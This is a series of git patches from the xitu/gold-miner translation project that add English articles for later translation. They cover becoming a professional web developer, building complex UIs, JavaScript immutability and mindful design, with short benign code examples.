+Make something and put it out there. Make it open source and put in on GitHub. You aren’t doing it for anyone else, it’s for you, so don’t worry about other people’s opinion of it.
+
+Your code will be ugly at first. I look back at some of the code I wrote even a few months ago and want to vomit. But you can’t learn development without building stuff. Books are fantastic, and I am obsessed with reading as many as possible. Then you must apply that knowledge.
+
+You’re going to run into issues and you’re going to struggle. That’s good. Those are the times we learn the most.
+
+Start off by building things that solve problems, I’ll talk more about that in step 6 below.
+
+#### 4. Set up an online presence ####
+
+As soon as you start building things, you’ll want to set up an online presence. Your GitHub account will be a great start.
+
+This is where you’ll be able to house the projects you are working on and share them with the world.
+
+But you want to go further than this. I recommend setting up your own portfolio site.
+
+This site will do a few things:
+
+1. It will serve as a public place to tell potential employers about yourself
+2. It will be another place where you can showcase your work
+3. It will serve as your platform
+
+That last one is huge. Once you start building things, you should immediately start writing about them. Start a simple blog where you share what you are working on and teach everything you know.
+
+This is one of the best ways to give potential employers a taste of who you are and what you can do. It’s a way to get your name out there and start building a platform for yourself.
+
+This can lead to job opportunities and the possibility to make more income on the side by writing books or freelancing.
+
+Your site should serve a very specific purpose.
+
+Most people create an online resume, but you should do more. What is your specific goal? Your website should be designed and created around that goal.
+
+If you want to get a job working on a certain kind of project or with a certain framework, put that in your site.
+
+I recommend having 4 core areas for your site:
+
+1. Home page
+
+Your home page is the entry point to your site. It should provide a very brief overview about who you are and what you do. And should direct people to go where is most relevant for them.
+
+For example, you could have two main buttons. One leading people to your writing section to learn more about web development, and one leading to a hire me page if someone is interested in hiring you.
+
+2. Writing
+
+This is where your blog and your tutorials will live. Write as much as you can here, and don’t be afraid to share it.
+
+3. About
+
+A simple about section that goes into more detail about who you are and what you do. Don’t make this a life story. Again, target this section to be relevant towards what you want to do.
+
+Rather than talk about your personal life, talk about what led you to web development, your journey so far, and where you want to go. Mention some of your favorite projects and link to them.
+
+4. Hire Me
+
+An essential part of your site, this is where people will go if they are interested in hiring you as a developer.
+
+Make sure to find the right balance between selling yourself and being honest. There may be some overlap between this page and your about page, but this page will be more specific about your skills and what you bring to the table.
+
+This page should also have a contact form so people can get in touch.
+
+In addition to your own site, start offering to write for other major publications. Then you can provide a link back to your site in the bio section.
+
+#### 5. Start teaching everything you know ####
+
+Nathan Barry is a big fan of teaching everything you know. He tells the story of Chris Coyier, founder of CSS Tricks.
+
+That site started out as Chris publicly writing about what he was learning so others could follow along. Now it’s one of the biggest web development sites out there.
+
+The lesson here is that you don’t have to be the world’s greatest expert to start writing about something and teaching it.
+
+In the online business world, there is this idea of the relative expert. It’s the idea that everyone is an expert in something relative to someone else.
+
+I have my issues with this, especially when it is used by someone to justify selling something that maybe they shouldn’t be selling. But it is a useful comparison to make.
+
+What bothers me is the use of the word expert. I don’t think there is anything wrong with teaching what you know, and even potentially selling that information if it is valuable to someone else.
+
+But calling yourself an expert may be taking it too far. So when you write your content, approach it honestly.
+
+I prefer the term learning in public.
+
+There are many people who got their start by simply being a public learner. They were learning a craft and documenting what they were learning along the way.
+
+This is the perfect way to approach teaching everything you know. As you learn more and more, you build up your content, and become a better writer in the process. Over time, others in your industry will start to see you as an authority in your space.
+
+This will be invaluable both when it comes to finding a job and if you ever want to strike out on your own.
+
+#### 6. Build to solve problems ####
+
+One of the most important aspects of becoming a professional developer is doing everything with a specific intention.
+
+It’s one thing to build random apps for fun, it’s another to build apps and sites that solve specific problems.
+
+Web development shops aren’t really in the business of coding, they are in the business of solving problems. The coding is just their preferred tool to make that happen.
+
+Read any marketing or copywriting book and they will tell you to sell the benefits of your product, not the features.
+
+Web developers should market their apps to show how they effectively solve a customer’s problems. And then back up their claims with specific metrics. Customers are generally more responsive to this approach than if the developers talk about the bleeding edge technologies they use.
+
+You will be a very attractive prospect for employers if you can demonstrate your programming skills as well as your ability to code with the specific intention of solving problems and making meaningful applications.
+
+Think about benefits vs features when you are communicating with potential employers or clients, and when writing the content for your site.
+
+Of course, you should also mention your coding proficiency, but most people spend all their time on this. Mention it briefly so potential employers know what you do. If you have a portfolio of effective applications, your coding skills will mostly speak for themselves.
+
+#### 7. Take on an apprentice mindset ####
+
+The day you think you have mastered something is the day you stop learning.
+
+Adopt the mindset of a lifelong apprentice. There is always more to learn and always more to improve on.
+
+This is especially important in the early stages of your career. If you get a part time job or internship or land a role as a junior developer, you need to immediately get in the mindset of learning and growing as much as possible.
+
+You should really be doing this right away, even before you have an actual ‘mentor’.
+
+In his book, [The Art of Work](https://www.amazon.com/Art-Work-Proven-Discovering-Meant/dp/0718022076), Jeff Goins talks about the 21st century version of the apprentice-master relationship.
+
+Back in medieval times, the relationship was very formal. A master would take on an apprentice for years, and they would slowly start to master their craft until they reached the title of master, at which point they would take on an apprentice.
+
+The relationship has changed, but it is still very important to consider yourself an apprentice. The main difference is that now you have to keep an eye out for potential mentors and learning opportunities, and there will be many throughout your journey.
+
+In the world of web development, we constantly on the internet, so this can come in various forms.
+
+Books, tutorials, courses, forums, and other forms of learning are all valuable. I think, however, the most valuable form of apprenticeship comes from learning from someone who is currently in the position you want to be in.
+
+This is why it is so important to be eager and willing to learn. Getting your first development job is not the end of the journey, it’s the beginning.
+
+That is when you will really start learning and exponentially growing your knowledge.
+
+#### 8. Learn to collaborate ####
+
+One of the biggest differences between coding as a hobby and coding for a living is learning to collaborate with people.
+
+You’ll need to interact and work with peers, bosses, colleagues, clients, partner companies, and all kinds of personalities throughout your career.
+
+Learning how to effectively work with other people is important.
+
+In the field of web development, communication is key. When a company comes in and tells you what they want, and you aren’t clear about exactly what that looks like, it can cause a lot of problems and headaches in the future.
+
+Likewise, if you can’t communicate with the people you work with, your work will suffer and you won’t be able to do your job as well.
+
+While you’re still learning, there are a few great ways to do this.
+
+Part of this will come when you start teaching everything you know. People will interact with you, sometimes negatively, and you’ll learn how to deal with those situations.
+
+I also highly recommend contributing to open source projects. This gives you a taste of what it is like to collaborate on a project where different people may have different ideas on the best way to do things.
+
+Contributing to open source projects can be intimidating, but it will do wonders for your development career.
+
+[Check out this site to get started.](http://www.firsttimersonly.com/)
+
+### Get out there and make a living ###
+
+Being a web developer is hard. It means a life of non-stop learning and adapting to new technologies. It’s one of those careers where you need to be well-versed in not only technology, but business and communication as well.
+
+It’s an extremely rewarding path. You get to make things that solve people’s problems and make their lives easier, while making a fantastic living at the same time.
+
+There are countless resources to help you learn to code, [many of them completely free](http://freecodecamp.com/), but there seems to be a lack of resources helping people make that transition into professional developer.
+
+I hope this short guide provided a good road map for you to get started becoming a professional developer.
+
+Remember, nothing will happen unless you take action. Build a simple portfolio website, email a few potential employers, write some posts on Medium. Just start doing something.
+
+The more you put yourself out there, and the more you do, the sooner you’ll make the shift from amateur to professional.
+
+I’m considering running a live workshop teaching developers how they can make the transition from hobbyist to professional. If that sounds like something you’d enjoy. You can enter your email below to let me know you’re interested and be the first to hear about it.
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 21504ae5c60d62278a7964d7429fef402335d5c4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Fri, 19 May 2017 22:20:27 +0800
Subject: [PATCH 500/638] Create
 tips-to-keep-in-mind-while-developing-complex-ui-in-web.md

---
 ...mind-while-developing-complex-ui-in-web.md | 87 +++++++++++++++++++
 1 file changed, 87 insertions(+)
 create mode 100644 TODO/tips-to-keep-in-mind-while-developing-complex-ui-in-web.md

diff --git a/TODO/tips-to-keep-in-mind-while-developing-complex-ui-in-web.md b/TODO/tips-to-keep-in-mind-while-developing-complex-ui-in-web.md
new file mode 100644
index 00000000000..3ac0d448c74
--- /dev/null
+++ b/TODO/tips-to-keep-in-mind-while-developing-complex-ui-in-web.md
@@ -0,0 +1,87 @@
+> * 原文地址：[How to build complex user interfaces without going completely insane](https://medium.freecodecamp.com/3-tips-to-keep-in-mind-while-developing-complex-ui-in-web-b56312310390)
+> * 原文作者：[Illia Kolodiazhnyi](https://medium.freecodecamp.com/@iktash88)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# How to build complex user interfaces without going completely insane #
+
+![](https://cdn-images-1.medium.com/max/2000/1*jwBhYQ_c_HZ_OOCE4pwbwQ.jpeg)
+
+I recently built a web application with a complex, dynamic User Interface (UI). Along the way, I learned several valuable lessons.
+
+Here are a few tips I wish someone had told me before I embarked on such an ambitious project. These would have saved me so much time and sanity.
+
+### Sanity Tip #1: Use a component’s internal state for storing temporary data ###
+
+A complex UI usually requires you to maintain some sort of application state. This tells the UI what to display and how to display it. One option is to access that state as soon as the user triggers an action on the page. However, I’ve learned there are situations where it’s beneficial to postpone the change in the application state and save this change temporarily in the current component’s internal state.
+
+An example to illustrate this is a dialog window for the user to edit some record, such as his or her name:
+
+![](https://cdn-images-1.medium.com/max/800/1*bFb-8Zdzf1aGPJyWpD_hsg.jpeg)
+
+In this case, you might want to trigger a change every time the user edits a field in this dialog window. But I encourage you to maintain an internal state of this dialog with all the data displayed. Wait until the user presses the Save button. At this point, you can safely change the application state that holds the data of those records.
+
+That way, if the user decides to discard the change and close the dialog window, you can drop the component. Then the application state stays intact. If you need to send the data to the back end, you can do it in one request. If the same list is available to other users, they won’t see the temporary values while someone is editing it.
+
+> Your UI behavior should match the user’s mental model
+
+When users work with a dialog box, they won’t consider the record completed until they finish editing it. The component’s functionality should work exactly like this.
+
+*Note to those working with React/Redux:* this behavior is achievable if you keep the general data in the Redux Store and use React Component state to store temporary pieces of data.
+
+### Sanity Tip #2: Separate model data from UI state ###
+
+*I’m using the term* ***model*** *here referring to the classic entity from the MVC pattern.*
+
+Modern UI in web applications can be complex in structure and behavior. This generally leads you to store the purely UI-related data in your application state. I recommend that you keep UI-related data and business data separate.
+
+> Store models with business data and logic separately from the UI state
+
+This approach is easier to follow and understand since it separates business logic from everything else. Your models can hold both the data as well as the methods (functions, means) to handle this data. Otherwise, your application will probably end up with business logic spread across multiple places, most likely *View* components.
+
+For example, you have a list of to-do tasks in your application and you implement a page to add a new task to that list. You want the Save button to be disabled until there’s both a description explaining the task and a properly formatted date for the task:
+
+![](https://cdn-images-1.medium.com/max/800/1*Cqmpew82Wo_znz_lCYz3xQ.jpeg)
+
+The naive way would be to store the needed data somewhere in the application state and have code like `const saveButtonDisabled = !description && !date && !dateIsValid(date)` right in your *View* component. But the problem is that the Save button is disabled because there is a *business requirement* to have all records with descriptions and proper dates.
+
+So in this case the logic for disabling the button should be put in the *model* for the to-do task. That model can look like this:
+
+```
+{
+    description: 'Save Gotham',
+    date: 'NOW',
+    notes: 'Speak with deep voice',
+    dateIsValid: () => this.date === 'NOW',
+    isValid: () => this.description !== '' && this.dateIsValid()
+}
+```
+
+And now you can use this for your UI logic `const saveButtonDisabled = !task.isValid()` in the *View* component.
+
+As you can see, this tip is basically about keeping your *Models* separate from *Views* in the MVC pattern.
+
+### Sanity Tip #3: Prioritize integration testing over unit testing ###
+
+This is not an issue if you’re lucky enough to work in an environment where you have time to write multiple tests for every feature. But I’m sure this is not the case for most of us. Usually you have to decide which kind of testing to use. **The majority of time I would consider integration testing more valuable than unit testing**.
+
+![](https://cdn-images-1.medium.com/max/800/1*dsj6MNERxdJtcr5-I7W2vQ.jpeg)
+
+In my experience, I’ve learned that the codebase with good unit test coverage is generally more error-prone than the one with good integration test coverage. I noticed that the majority of bugs introduced with developing work are [regression bugs](https://en.wikipedia.org/wiki/Software_regression). And unit tests are usually not very good in catching those.
+
+When you are fixing a problem in the code, I would encourage you to follow these simple steps:
+
+1. Write a test that fails due to the existing problem. If it can be done with a unit test, great. Otherwise, make the test touch as many code modules as necessary.
+2. Fix the problem in the codebase.
+3. Verify that the test is not failing anymore.
+
+This simple practice ensures that the problem is fixed and it won’t occur again, as the test will verify it.
+
+Modern web applications present many challenges to developers and UI development is one of them. I hope this article helps you to avoid mistakes or give you a good topic to think about and discuss.
+
+I would highly appreciate reading your thoughts and discoveries in the comments.
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 933a8ef018c672e1c8dabcb80f8dd8bd8020079c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Fri, 19 May 2017 22:31:37 +0800
Subject: [PATCH 501/638] Create
 write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md

---
 ...by-leveraging-the-power-of-immutability.md | 135 ++++++++++++++++++
 1 file changed, 135 insertions(+)
 create mode 100644 TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md

diff --git a/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md b/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md
new file mode 100644
index 00000000000..08b6ba79a99
--- /dev/null
+++ b/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md
@@ -0,0 +1,135 @@
+> * 原文地址：[Write safer and cleaner code by leveraging the power of “Immutability”
+](https://medium.freecodecamp.com/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability-7862df04b7b6)
+> * 原文作者：[Guido Schmitz](https://medium.freecodecamp.com/@guidsen)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Write safer and cleaner code by leveraging the power of “Immutability” #
+
+![](https://cdn-images-1.medium.com/max/2000/1*eO8-0-GT5ht8CR7TdK9knA.jpeg)
+
+Photo from [https://unsplash.com](https://unsplash.com) 
+
+Immutability is one of the building blocks of functional programming. It allows you to write safer and cleaner code. I’ll show you how you can achieve immutability through some JavaScript examples.
+
+**According to Wikipedia ([source](https://en.wikipedia.org/wiki/Immutable_object)):**
+
+> An immutable object (unchangeable object) is an object whose state cannot be modified after it is created. This is in contrast to a mutable object (changeable object), which can be modified after it is created. In some cases, an object is considered immutable even if some internally used attributes change but the object’s state appears to be unchanging from an external point of view.
+
+### Immutable Arrays ###
+
+Arrays are a good starting point to get a grasp of how immutability actually works. Lets take a look.
+
+```
+const arrayA = [1, 2, 3];
+arrayA.push(4);
+
+const arrayB = arrayA;
+arrayB.push(5);
+
+console.log(arrayA); // [1, 2, 3, 4, 5]
+console.log(arrayB); // [1, 2, 3, 4, 5]
+```
+
+This example assigns **arrayB** to a reference of **arrayA**, so the push method adds the value 5 into both variables. Our code mutates other values indirectly, which is not what we want to do. This violates the principle of immutability.
+
+We can improve our example to be immutable by using the [slice](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice) function, and the behavior of the code is different.
+
+```
+const arrayA = [1, 2, 3];
+arrayA.push(4);
+
+const arrayB = arrayA.slice(0);
+arrayB.push(5);
+
+console.log(arrayA); // [1, 2, 3, 4]
+console.log(arrayB); // [1, 2, 3, 4, 5]
+```
+
+This is exactly what we want. The code doesn’t mutate the other values.
+
+Remember: When using [push](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push) to add a value to an array, you are **mutating** the array. You want to avoid mutating variables because it can cause side effects in your code. The [slice](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice) function returns a copy of the array.
+
+### Functions ###
+
+Now you know how to avoid mutating other values. How would you write functions to be “pure”? Pure is another word to call a function that doesn’t have any side effects and will not change state.
+
+Let’s look at a function that leverages the same principle from the arrays example. First we create a function that mutates another value, then we improve the function to be “pure”.
+
+```
+const add = (arrayInput, value) => {
+  arrayInput.push(value);
+
+  return arrayInput;
+};
+```
+
+```
+const array = [1, 2, 3];
+
+console.log(add(array, 4)); // [1, 2, 3, 4]
+console.log(add(array, 5)); // [1, 2, 3, 4, 5]
+```
+
+So again, we are **mutating** our input which creates an unpredictable function. In the functional programming world, there is a golden rule around functions: **a function with the same input should always return the same result**.
+
+The function above violates the golden rule. Every time our **add** function is called, it mutates the **array** variable and the result is different.
+
+Let’s see how we can change the implementation of our **add **function so it’s immutable.
+
+```
+const add = (arrayInput, value) => {
+  const copiedArray = arrayInput.slice(0);
+  copiedArray.push(value);
+
+  return copiedArray;
+};
+
+const array = [1, 2, 3];
+```
+
+```
+const resultA = add(array, 4);
+console.log(resultA); // [1, 2, 3, 4]
+```
+
+```
+const resultB = add(array, 5);
+console.log(resultB); // [1, 2, 3, 5]
+```
+
+Now we can call our function multiple times, and expect the output to be the same, based on the input. This is because we are no longer mutating the **array** variable. We can call this function a “pure function”.
+
+> **Note:** You can also use **concat**, instead of **slice** and **push**.
+> So: arrayInput.concat(value);
+
+We can use the [spread syntax](https://developer.mozilla.org/nl/docs/Web/JavaScript/Reference/Operators/Spread_operator) , available in ES6, to shorten this function.
+
+```
+const add = (arrayInput, value) => […arrayInput, value];
+```
+
+### Concurrency ###
+
+NodeJS applications use a concept called concurrency. A concurrent operation means that two computations can both make progress regardless of the other. If there are two threads, the second computation doesn’t need to wait for the completion of the first one in order to advance.
+
+![](https://cdn-images-1.medium.com/max/800/1*LS1VkNditQwYMJvtIPAhdg.png)
+
+Visualization of a concurrent operation
+
+NodeJS makes concurrency possible with the event-loop. The event-loop repeatedly takes an event and fires any event handlers listening to that event one at a time. This model allows a NodeJS application to process a huge amount of requests. If you want to learn more, read [this article about the event-loop](https://nodejs.org/en/docs/guides/event-loop-timers-and-nexttick).
+
+What does immutability have to do with concurrency? Since multiple operations can change a value outside of the function’s scope in a concurrent way, this creates unreliable output and causes unexpected results. Be aware of a function that mutates variables outside of its scope, as this can be really dangerous.
+
+### Next steps ###
+
+Immutability is an important concept to understand on your journey to learn functional programming. You might want to take a look at [ImmutableJS](https://facebook.github.io/immutable-js), written by developers at Facebook. The library provides certain immutable data structures like **Map**, **Set**, and **List**.
+
+[![](http://i2.muimg.com/1949/d4d40e047da813b5.png)](https://medium.com/@dtinth/immutable-js-persistent-data-structures-and-structural-sharing-6d163fbd73d2)
+
+Click the 💙 below so other people will see this article here on Medium. Thanks for reading.
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From a15dda40c8e64c778bc84859753ab91c78242441 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Fri, 19 May 2017 23:01:42 +0800
Subject: [PATCH 502/638] Create a-mindful-design-process.md

---
 TODO/a-mindful-design-process.md | 182 +++++++++++++++++++++++++++++++
 1 file changed, 182 insertions(+)
 create mode 100644 TODO/a-mindful-design-process.md

diff --git a/TODO/a-mindful-design-process.md b/TODO/a-mindful-design-process.md
new file mode 100644
index 00000000000..855cd1e73ec
--- /dev/null
+++ b/TODO/a-mindful-design-process.md
@@ -0,0 +1,182 @@
+> * 原文地址：[A Mindful Design Process](https://headspace.design/a-mindful-design-process-f4a4641ee88f)
+> * 原文作者：[François Chartrand](https://headspace.design/@frankchartrand)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# A Mindful Design Process #
+
+How integrating mindfulness techniques will help you become a stronger designer and a more engaged team member.
+
+![](https://cdn-images-1.medium.com/max/1000/1*zvpIsZO5ZGUBZPBD-2tdKA.jpeg)
+
+We all have a process we follow to get us from concept to execution. Sometimes we’ll have access to a great brief, data, insights, and an inspirational mood board but still, we get stuck: we procrastinate, get hung up, or struggle with artist’s block. Sound familiar? Read on…
+
+I’ve outlined some easy-to-implement mindfulness techniques that you can start building into your process today. It’s about creating your best work in a meaningful and intentional way, and having fun while you’re at it.
+
+> “Mindfulness is awareness that arises through paying attention, on purpose, in the present moment, non-judgmentally.”
+
+> — Jon Kabat-Zinn
+
+### **Before you begin** ###
+
+**Just listen**
+This one is so easy: just listen and pay attention. Put your phone away, close your laptop, and open your ears.
+
+Whether you’re meeting with clients, stakeholders, or having a 1-on-1 with a colleague, practice the art of listening. Ask more questions. Talk it through. Projects get much more interesting when you feel like you have skin in the game and actually care about the outcome. Here’s a short TED Talk by [Julian Treasure](https://medium.com/@juliantreasure) on ["5 ways to listen better.”](https://www.ted.com/talks/julian_treasure_5_ways_to_listen_better)
+
+*Pro tip:* Using simple [body language techniques](https://blog.udemy.com/positive-body-language/) can be an invaluable tool in your life and career. I know it sounds lame, but it actually works—and others will feel more comfortable around you. [Mitch Joel](https://medium.com/@mitchjoel) discusses some winning body language tips on his podcast—[ check it out](https://overcast.fm/+JjXi7iC4).
+
+![](https://cdn-images-1.medium.com/max/600/1*_YryF85J5Yju7KeanuhXgA.png)
+
+**Set realistic timelines and expectations**
+
+Ensure you have enough time to get the task completed.
+
+Rushing the process leads to uninspired work, so make sure you ask for enough time (or budget) to be successful. Even if you can’t get it, it’s always worth asking for what you truly believe the project requires.
+
+Many designers accept deadlines without asking why and burn out. You’ll leave a more positive impression on your peers when you set expectations early.
+
+**Design with intent**
+
+Is there something about this project that excites you? Is this your specialization, or are you up for a new challenge?
+
+Try asking yourself, is this a step in the right direction to improve my design skills? Will this help with my ideal career path? Your career is the sum of all of your work, and knowing you’re growing in the right direction can be motivating.
+
+### Do your research ###
+
+**Get context and re-frame the project**
+
+Before you start, do some research. Without context, you won’t be able to do your best work. Even seemingly boring projects can be exciting if you re-frame them. Check out what the best-in-class are doing—there’s a lot you can learn from their successes and slip-ups.
+
+[Paul Woods](https://medium.com/@paulthedesigner) wrote a great article on [turning an uninspiring brief into an awesome portfolio piece](https://medium.com/@paulthedesigner/turning-an-uninspiring-brief-into-an-awesome-portfolio-project-31b2aa871bb7#.7dclqp3w) that may be helpful for you.
+
+Time spent researching is never time wasted. Research will help guide you toward the next step of the process with some key insights. Plus, with solid research, it’s easier to sell your ideas internally or to clients.
+
+![](https://cdn-images-1.medium.com/max/1000/1*B--DG0OODgsuNTprMK8vgA.png)
+
+**Visualize with a mood board**
+
+Use [InVision Boards](https://support.invisionapp.com/hc/en-us/articles/205249269-Introduction-to-Boards) or [Pinterest](http://www.pinterest.com) and share early on with your team. Mood boards can act as visualizations of the success you want the project to achieve. They can also help align others on the project and help, or serve as a reflection when your creative juices are running low.
+
+**Get the tools for the task**
+
+Look into what tools and licenses you’ll need and set yourself up with the proper stack of tools and software.
+
+- Stickies/markers
+- Whiteboard
+- [Paper](https://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=1&amp;cad=rja&amp;uact=8&amp;ved=0ahUKEwjI-sT67ffSAhXFvLwKHQOtDtUQFggcMAA&amp;url=https%3A%2F%2Fwww.fiftythree.com%2F&amp;usg=AFQjCNGyxIjM39EcNUzww6FXtJw96xwKfA&amp;sig2=ik8RiXeUi5YCI-7Ydyrx2Q) (flows, wireframes)
+- [Sketch](https://www.sketchapp.com/) (app/web design)
+- [Zeplin](http://www.zeplin.io) (spec’ing)
+- [InVision](https://www.invisionapp.com/) (lofi prototyping)
+- [Framer](https://framer.com/) (hifi prototyping)
+- [Skitch](https://evernote.com/skitch/)(QA annotation)
+
+![](https://cdn-images-1.medium.com/max/1000/1*0fwiF6oe8FJ0VkEcY5KMsg.jpeg)
+
+### Set yourself up for success ###
+
+The biggest hurdle in any creative process is *beginning*. If you’re having trouble getting started, sit quietly and take few deep breaths. If that isn’t helping, go for a walk, stretch, meditate, make yourself coffee, put on an album you enjoy—whatever you need to clear your mind.
+
+> “Begin anywhere.”
+
+> — John Cage
+
+**Check your posture**
+
+I’m no scientist, but I know that posture makes a big difference in my focus and concentration. Settle in, feel the weight of your body and ensure you’re comfortable, not slouching. Standing desks are also a great option that allow you to stretch your legs and feel weight on your toes, giving you extra mobility.
+
+**Keep your focus**
+
+Try [Focus](https://heyfocus.com/)  (app) to block websites you find yourself visiting often—or fully disconnect from WiFi. Set your phone on Airplane mode and put it in another room.
+
+**Stop multitasking**
+
+Successful people know that being [fully present and committed to one task](http://www.zerotoskill.com/proven-steps-to-the-most-productive-day-youll-ever-have/) is indispensable.
+
+![](https://cdn-images-1.medium.com/max/800/1*4MyOs2PvfYDOQ5iXPhy1zw.jpeg)
+
+### Unlocking creativity ###
+
+**Sketch. Iterate. Simplify.**
+
+Great designers know that your best ideas are often your last. When sketching, try not to dwell on a concept or idea for too long. Sketch out the idea or allow the thought to float away. Consider different scenarios in which people might observe this design in, whether on a mobile phone or piece of branding. Embrace and consider each thought or sensation without judging it as good or bad. Ideas will come in abundance… If your mind wanders elsewhere, notice where it has gone and gently redirect it to the present.
+
+**Reduce, simplify, observe,** and you’ll eventually get to an iteration you can move forward with confidently.
+
+![](https://cdn-images-1.medium.com/max/600/1*K6gRA8kRrQvn6CCYoz4oDA.jpeg)
+
+![](https://cdn-images-1.medium.com/max/600/1*z98ajqpYLq3zvhlbHpwP7A.jpeg)
+
+Photos by Ian Whittlesea
+
+*Want more? Try some breathing exercises…*
+
+If you’re looking for more of a creative boost, you might want to consider the breathing exercises found in *Hazdaznan Health & Breath Culture*, a book exploring the relationship between Mazdaznan, Johannes Itten and the Vorkurs (Preliminary or Foundation Course) at the Bauhaus.
+
+**Remember that design is for people**
+
+No matter what, design is for an end-user or consumer and we should do our best to understand their needs and desires—whether that’s a subscriber, a client, or a client’s client. Be respectful and considerate of everything they’re going through when engaging with your design.
+
+### Communication matters ###
+
+**Share often and communicate clearly**
+
+Keep your team in the loop often and set expectations early. Meet your deadlines, and if you’re about to miss a deadline, give your manager or client a heads up and let them know how you’ll avoid this in the future.
+
+**Communicating with your team**
+
+When it comes to communicating with your team, be aware of communication styles. Some people appreciate a note on Slack before you swing by their desk. Others prefer to meet in private. Everyone’s different and [increasing your self-awareness](http://www.tanveernaseer.com/increasing-self-awareness-to-improve-how-we-communicate-scott-schwertly/) will improve the way others react to your feedback.
+
+### **Take notes** ###
+
+**You can never take too many notes**
+
+It’s better to take too many notes than not enough. If it helps, you can even record meetings on your phone to listen to later when you’re working on the project. This way you can be totally sure you’re checking all the boxes your manager or client shared. [Helen Tran](https://medium.com/@tranhelen) of Shopify wrote about her [bullet-journal system](http://helentran.com/two-habits)and how a system like this is a habit that changed her career.
+
+Before completing a project, take time to jot down what went well and what didn’t so you can learn from any successes or shortcomings and be better prepared in the future. If you’re not being mindful of the process and how you felt under certain pressures, you’re bound to keep repeating the same mistakes. [Journaling](http://stronginsideout.com/journaling-techniques/)is handy as a general life practice and helps you track the progress you’re making in your life.
+
+**Don’t take revisions or feedback personally**
+
+Even if you think you’ve found the best solution it’s not a solution if it doesn’t work for your user or clients. Reach a good balance between your knowledge, expertise, and your client’s.
+
+While criticism isn’t personal, you should always stand up for your decisions if you think it’ll help the end-user. You should be proud of your work, but design is, in the end, for users and customers. Sometimes people give ego-driven feedback because they feel like they have to prove their own worth (even you!), and being aware of this is helpful. Practicing deep breathing or a short meditation before meetings can help keep the ego in check.
+
+[Julie Zhuo](https://medium.com/@joulee)  wrote a post on [taking feedback impersonally](https://medium.com/the-year-of-the-looking-glass/taking-feedback-impersonally-7c0f3a8199d9) that I highly recommend.
+
+*Pro tip:* People fear feedback because it’s usually negative. If you’re able to, try and mix it up and give more positive feedback too.
+
+### Other thoughts ###
+
+![](https://cdn-images-1.medium.com/max/800/1*2MdbVkVcG59XyYG5AihtJQ.png)
+
+**Remember *why* you design**
+
+Are you designing to build up your portfolio? To empower users? To put a roof over your head? Try keeping a memento around that reminds you why you’re doing this—whether that’s a photo on your desk or a note in your wallet. Something small that will motivate you when you’re losing steam.
+
+**Get some rest**
+
+Don’t forget to take a break once in a while. We often celebrate the tireless designers who hustle 24/7, and I’m not saying you shouldn’t — that’s up to you — but if you’re burning the midnight oil often, you might consider using apps like [f.lux](https://justgetflux.com/) to help with your sleep. (makes your computer screen look like the room you’re in based on time of day).
+
+**Be humble. Give credit where it’s due.**
+
+It takes teamwork to make the dream work. Give credit to your teammates and share that big launch or award with others—even Buzz Aldrin had hundreds of people behind him when he first stepped onto the surface of the moon.
+
+**Keep your desk clean**
+
+NASA astronauts clean up their stations after every use; more designers should do this, especially when it comes to meeting rooms and communal spaces. Keep your desk clean, keep your mind clean (and ready for those bursts of creativity).
+
+**Be thankful**
+
+We’re lucky to do what we do for a living. Design is still in its infancy, and there’s so much exciting work to do. Happy designing! 🌞
+
+
